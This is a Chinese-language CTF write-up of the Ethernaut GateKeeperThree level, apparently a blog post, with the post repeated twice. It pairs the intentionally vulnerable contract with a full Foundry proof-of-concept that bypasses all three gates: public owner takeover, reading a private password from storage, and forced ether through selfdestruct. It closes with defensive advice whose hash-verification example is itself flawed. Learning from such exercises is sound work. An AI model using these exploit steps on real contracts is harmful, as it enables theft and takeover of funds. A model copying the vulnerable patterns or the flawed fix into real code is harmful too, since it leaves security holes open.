Ethernaut学习之路 GateKeeperThree

Lori
更新于 2024-02-28 20:39
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Ethernaut Solutions-GateKeeperThree 合约分析以及相应PoC

## Ethernaut Solutions
[on my Github](https://github.com/Chocolatieee0929/ContractSafetyStudy/blob/main/ethernaut/solution/28.GateKeeperThree.md)
我通过Ethernaut学习了智能合约漏洞，并进行了安全分析，我还提出了一些防御措施，以帮助其他开发者更好地保护他们的智能合约，鉴于网络上教程较多，我着重分享1~19题里难度四星以上以及20题及以后的题目。
### About Ethernaut
- Ethernaut 是由 Zeppelin 开发并维护的一个平台。，上面有很多包含了以太坊经典漏洞的合约，以类似 CTF 题目的方式呈现给我们。每个挑战都涉及到以太坊智能合约的各种安全漏洞和最佳实践，并提供了一个交互式的环境，让用户能够实际操作并解决这些挑战。Ethernaut 不仅适用于新手入门，也适用于有经验的开发者深入学习智能合约安全。
- 平台网址：https://ethernaut.zeppelin.solutions/
## GateKeeperThree合约分析
## 攻击分析

- ctf 网址：https://ethernaut.openzeppelin.com/level/0x653239b3b3E67BC0ec1Df7835DA2d38761FfD882
- 攻击类型：访问权限控制
- 目标：进入合约，将 entrant 更改成 deployer
- 要求：满足三个 modifier 条件

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
  GatekeeperThree public target;
  address public trick;
  uint private password = block.timestamp;

constructor (address payable _target) {
    target = GatekeeperThree(_target);
  }

function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
      return true;
    }
    password = block.timestamp;
    return false;
  }

function trickInit() public {
    trick = address(this);
  }

function trickyTrick() public {
    if (address(this) == msg.sender && address(this) != trick) {
      target.getAllowance(password);
    }
  }
}

contract GatekeeperThree {
  address public owner;
  address public entrant;
  bool public allowEntrance;

SimpleTrick public trick;

function construct0r() public {
      owner = msg.sender;
  }

modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
  }

modifier gateTwo() {
    require(allowEntrance == true);
    _;
  }

modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
  }

function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allowEntrance = true;
    }
  }

function createTrick() public {
    trick = new SimpleTrick(payable(address(this)));
    trick.trickInit();
  }

function enter() public gateOne gateTwo gateThree {
    entrant = tx.origin;
  }

receive () external payable {}
}
```

这个与 [GateKeeperOne](https://github.com/Chocolatieee0929/ContractSafetyStudy/blob/main/ethernaut/solution/13.GateKeeperOne.md), [GateKeeperTwo](https://github.com/Chocolatieee0929/ContractSafetyStudy/blob/main/ethernaut/solution/14.GateKeeperTwo.md) 类似, 这个 ctf 稍微难一些，让我们一块看一下。

1. **gateOne**
   gateOne 要求调用者不是合约地址，并且调用者不是合约的 owner。通过阅读 GatekeeperThree 合约里发现`owner`在`construct0r()`进行设置，该函数是 public，任何人都能进行调用。我们通过将 Attack 合约调用 `GatekeeperThree.construct0r()`来将攻击合约地址设置为`owner`，之后我们通过合约去调用`GateKeeperOne.enter()`就能进入 gateOne。

我猜测可能是开发者一不小心将 constructor()写成了`constructor()`，导致任何人都能调用。
    在Solidity 0.4.22之前，可以使用 constructor 关键字来声明构造函数并且可以添加 public 作为修饰符，但这种做法已被弃用。
    在 Solidity 0.8.0 版本，如果将构造函数声明为 public，编译器将会抛出错误，构造函数始终是在合约部署时自动调用的，而不是在合约生命周期内由外部调用的。

2. **gateTwo** 
   gateTwo要求 allowEntrance 为 true。
   在这个合约中，allowEntrance 设置为 true 需要通过调用 `GateKeeperOne.getAllowance` 函数, GateKeeperOne 合约再通过调用`trick.checkPassword(_password)`，由 trick 合约的 checkPassword 函数需要判断传入的\_password 是否与合约存储的私有变量 password 相同。
   如何去获取 password 呢，trick 合约里 password 是私有变量，无法直接读取，这真的是**private**吗？

```
   solidity的 storage 存储方式有以下特点：
   1.  存储在 storage 中的数据是永久性存储的，以键值对的形式存储在插槽（slot）中。
   2. 数据在插槽中从右向左排列。当当前插槽空间不足时，会打包当前插槽，并开启下一个插槽来存储数据。对于存储定长数组（长度固定）的情况，数组中的每个元素占据一个插槽。
   3. 存储变长数组（长度随元素数量而改变）时比较特殊。在遇到变长数组时，会先启用一个新的插槽（slotA）来存储数组的长度，而数组的实际数据则存储在另一个编号为 slotV 的插槽中。
   ```

我们知道链上数据都是公开可读的，不存在真正的 private，理解[slot](https://learnblockchain.cn/docs/solidity/internals/layout_in_storage.html)的概念和状态变量在储存中的布局，我们一旦知道合约地址和变量对应 slot，就可以读取任意变量。

foundry 提供了通过 slot 读取变量的方法`vm.load(address,slot)`。

3. **gateThree**
   gateThree 要求合约的余额大于 0.001 ether。
   首先，了解常见转账方式有`send`,`transfer`,`call{value:value}()`，使用这些方式对合约进行转账需要对方合约有 fallback 和 receive 函数，而通过阅读 GateKeeperOne 合约发现其中并没有这两个函数，还有什么方式还能向合约进行转 eth 呢？
   1. 合约可以通过`selfdestruct(address payable recipient)`来销毁合约，并把合约余额转账给 recipient；
   2. 矿工(现在是 builder 和 proposer)接收区块奖励，将奖励地址设置为合约地址。

这块我们选择较为简单的方式，通过`selfdestruct(address payable recipient)`来销毁合约。

## Proof of Concept

根据以上分析，完整的 PoC 代码如下：

```
contract Attack {
    address public target;
    constructor(address _target){
        target = _target;
    }

function StepOne() public {
        (bool success,) = target.call(abi.encodeWithSignature("construct0r()"));
        require(success, "Failed to call construct0r");
    }

function stepTwo() public {
        (bool success,) = target.call(abi.encodeWithSignature("enter()"));
        require(success, "Failed to call enter");
    }
}

contract Self {
    function attack(address _victim) public{
        selfdestruct(payable(_victim));
    }

receive() external payable {}
}

contract GatekeeperThreeTest is BaseTest {
    GatekeeperThree gatekeeperThree = GatekeeperThree(contractAddress);
    // GatekeeperThree gatekeeperThree = new GatekeeperThree();

function run() external {
        vm.startBroadcast(deployer);
        Attack attack = new Attack(contractAddress);
        gatekeeperThree.createTrick();
        SimpleTrick trick = gatekeeperThree.trick();

// gateOne
        attack.StepOne();

// gateTwo
        uint _password = uint(vm.load(address(trick), bytes32(uint256(2))));
        gatekeeperThree.getAllowance(_password);
        assert(gatekeeperThree.allowEntrance() == true);

// gateThree
        Self self = new Self();
        address(self).call{value: 0.001001 ether}("");
        self.attack(address(gatekeeperThree));

attack.stepTwo();

assert(gatekeeperThree.entrant() == deployer);
    }
}
```

## 防御措施

1. 在合约中存储密码时，直接将密码存储在合约的存储变量中。这种方法存在风险，因为存储在区块链上的数据是公开可见的，可能会被攻击者获取,因此，不建议直接存储原始密码，以下是一些常见的存储密码的方法：
   a. 哈希存储: 存储密码的常见做法是将密码进行哈希处理，然后将哈希值存储在合约中。这样做可以避免直接存储原始密码，提高安全性。常用的哈希算法包括 SHA-256、keccak256 等。例如：

```solidity
   contract PasswordManager {
      mapping(address => bytes32) private passwordHashes;

function setPassword(bytes32 hash) public {
          passwordHashes[msg.sender] = hash;
      }

function verifyPassword(bytes32 password) public view returns (bool) {
          return passwordHashes[msg.sender] == password;
      }
   }
   ```

b. 加密存储: 可以使用对称或非对称加密算法对密码进行加密后再存储。只有合约的授权用户才能解密密码。这种方法提供了更高级别的安全性，但也增加了复杂性。例如：

```solidity
     contract PasswordManager {
         mapping(address => bytes) private encryptedPasswords;

function setPassword(bytes encryptedPassword) public {
             encryptedPasswords[msg.sender] = encryptedPassword;
         }

function verifyPassword(bytes password) public view returns (bool) {
             // 解密 encryptedPasswords[msg.sender]，然后与输入密码比较
         }
     }
   ```

2. 避免通过 address.balance 进行权限设置，可以通过设置变量来替代，避免合约被强制转账从而影响正常业务逻辑的可能（比如被 selfdestruct 攻击）。

Ethernaut Solutions

on my Github 我通过Ethernaut学习了智能合约漏洞，并进行了安全分析，我还提出了一些防御措施，以帮助其他开发者更好地保护他们的智能合约，鉴于网络上教程较多，我着重分享1~19题里难度四星以上以及20题及以后的题目。

About Ethernaut

Ethernaut 是由 Zeppelin 开发并维护的一个平台。，上面有很多包含了以太坊经典漏洞的合约，以类似 CTF 题目的方式呈现给我们。每个挑战都涉及到以太坊智能合约的各种安全漏洞和最佳实践，并提供了一个交互式的环境，让用户能够实际操作并解决这些挑战。Ethernaut 不仅适用于新手入门，也适用于有经验的开发者深入学习智能合约安全。
平台网址：https://ethernaut.zeppelin.solutions/

GateKeeperThree合约分析

攻击分析
ctf 网址：https://ethernaut.openzeppelin.com/level/0x653239b3b3E67BC0ec1Df7835DA2d38761FfD882
攻击类型：访问权限控制
目标：进入合约，将 entrant 更改成 deployer
要求：满足三个 modifier 条件

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
  GatekeeperThree public target;
  address public trick;
  uint private password = block.timestamp;

  constructor (address payable _target) {
    target = GatekeeperThree(_target);
  }

  function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
      return true;
    }
    password = block.timestamp;
    return false;
  }

  function trickInit() public {
    trick = address(this);
  }

  function trickyTrick() public {
    if (address(this) == msg.sender && address(this) != trick) {
      target.getAllowance(password);
    }
  }
}

contract GatekeeperThree {
  address public owner;
  address public entrant;
  bool public allowEntrance;

  SimpleTrick public trick;

  function construct0r() public {
      owner = msg.sender;
  }

  modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
  }

  modifier gateTwo() {
    require(allowEntrance == true);
    _;
  }

  modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
  }

  function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allowEntrance = true;
    }
  }

  function createTrick() public {
    trick = new SimpleTrick(payable(address(this)));
    trick.trickInit();
  }

  function enter() public gateOne gateTwo gateThree {
    entrant = tx.origin;
  }

  receive () external payable {}
}

这个与 GateKeeperOne, GateKeeperTwo 类似, 这个 ctf 稍微难一些，让我们一块看一下。

gateOne gateOne 要求调用者不是合约地址，并且调用者不是合约的 owner。通过阅读 GatekeeperThree 合约里发现owner在construct0r()进行设置，该函数是 public，任何人都能进行调用。我们通过将 Attack 合约调用 GatekeeperThree.construct0r()来将攻击合约地址设置为owner，之后我们通过合约去调用GateKeeperOne.enter()就能进入 gateOne。

我猜测可能是开发者一不小心将 constructor()写成了constructor()，导致任何人都能调用。在Solidity 0.4.22之前，可以使用 constructor 关键字来声明构造函数并且可以添加 public 作为修饰符，但这种做法已被弃用。在 Solidity 0.8.0 版本，如果将构造函数声明为 public，编译器将会抛出错误，构造函数始终是在合约部署时自动调用的，而不是在合约生命周期内由外部调用的。
gateTwo gateTwo要求 allowEntrance 为 true。在这个合约中，allowEntrance 设置为 true 需要通过调用 GateKeeperOne.getAllowance 函数, GateKeeperOne 合约再通过调用trick.checkPassword(_password)，由 trick 合约的 checkPassword 函数需要判断传入的_password 是否与合约存储的私有变量 password 相同。如何去获取 password 呢，trick 合约里 password 是私有变量，无法直接读取，这真的是private吗？
```
solidity的 storage 存储方式有以下特点：
1.  存储在 storage 中的数据是永久性存储的，以键值对的形式存储在插槽（slot）中。
2. 数据在插槽中从右向左排列。当当前插槽空间不足时，会打包当前插槽，并开启下一个插槽来存储数据。对于存储定长数组（长度固定）的情况，数组中的每个元素占据一个插槽。
3. 存储变长数组（长度随元素数量而改变）时比较特殊。在遇到变长数组时，会先启用一个新的插槽（slotA）来存储数组的长度，而数组的实际数据则存储在另一个编号为 slotV 的插槽中。
```
我们知道链上数据都是公开可读的，不存在真正的 private，理解slot的概念和状态变量在储存中的布局，我们一旦知道合约地址和变量对应 slot，就可以读取任意变量。

foundry 提供了通过 slot 读取变量的方法vm.load(address,slot)。
gateThree gateThree 要求合约的余额大于 0.001 ether。首先，了解常见转账方式有send,transfer,call{value:value}()，使用这些方式对合约进行转账需要对方合约有 fallback 和 receive 函数，而通过阅读 GateKeeperOne 合约发现其中并没有这两个函数，还有什么方式还能向合约进行转 eth 呢？
1. 合约可以通过selfdestruct(address payable recipient)来销毁合约，并把合约余额转账给 recipient；
2. 矿工(现在是 builder 和 proposer)接收区块奖励，将奖励地址设置为合约地址。
这块我们选择较为简单的方式，通过selfdestruct(address payable recipient)来销毁合约。

Proof of Concept

根据以上分析，完整的 PoC 代码如下：

contract Attack {
    address public target;
    constructor(address _target){
        target = _target;
    }

    function StepOne() public {
        (bool success,) = target.call(abi.encodeWithSignature("construct0r()"));
        require(success, "Failed to call construct0r");
    }

    function stepTwo() public {
        (bool success,) = target.call(abi.encodeWithSignature("enter()"));
        require(success, "Failed to call enter");
    }
}

contract Self {
    function attack(address _victim) public{
        selfdestruct(payable(_victim));
    }

    receive() external payable {}
}

contract GatekeeperThreeTest is BaseTest {
    GatekeeperThree gatekeeperThree = GatekeeperThree(contractAddress);
    // GatekeeperThree gatekeeperThree = new GatekeeperThree();

    function run() external {
        vm.startBroadcast(deployer);
        Attack attack = new Attack(contractAddress);
        gatekeeperThree.createTrick();
        SimpleTrick trick = gatekeeperThree.trick();

        // gateOne
        attack.StepOne();

        // gateTwo
        uint _password = uint(vm.load(address(trick), bytes32(uint256(2))));
        gatekeeperThree.getAllowance(_password);
        assert(gatekeeperThree.allowEntrance() == true);

        // gateThree
        Self self = new Self();
        address(self).call{value: 0.001001 ether}("");
        self.attack(address(gatekeeperThree));

        attack.stepTwo();

        assert(gatekeeperThree.entrant() == deployer);
    }
}

防御措施

在合约中存储密码时，直接将密码存储在合约的存储变量中。这种方法存在风险，因为存储在区块链上的数据是公开可见的，可能会被攻击者获取,因此，不建议直接存储原始密码，以下是一些常见的存储密码的方法： a. 哈希存储: 存储密码的常见做法是将密码进行哈希处理，然后将哈希值存储在合约中。这样做可以避免直接存储原始密码，提高安全性。常用的哈希算法包括 SHA-256、keccak256 等。例如：
```
contract PasswordManager {
  mapping(address => bytes32) private passwordHashes;

  function setPassword(bytes32 hash) public {
      passwordHashes[msg.sender] = hash;
  }

  function verifyPassword(bytes32 password) public view returns (bool) {
      return passwordHashes[msg.sender] == password;
  }
}
```
b. 加密存储: 可以使用对称或非对称加密算法对密码进行加密后再存储。只有合约的授权用户才能解密密码。这种方法提供了更高级别的安全性，但也增加了复杂性。例如：
```
 contract PasswordManager {
     mapping(address => bytes) private encryptedPasswords;

     function setPassword(bytes encryptedPassword) public {
         encryptedPasswords[msg.sender] = encryptedPassword;
     }

     function verifyPassword(bytes password) public view returns (bool) {
         // 解密 encryptedPasswords[msg.sender]，然后与输入密码比较
     }
 }
```
避免通过 address.balance 进行权限设置，可以通过设置变量来替代，避免合约被强制转账从而影响正常业务逻辑的可能（比如被 selfdestruct 攻击）。

原创
学分: 9
分类: 安全
标签: Ethernaut

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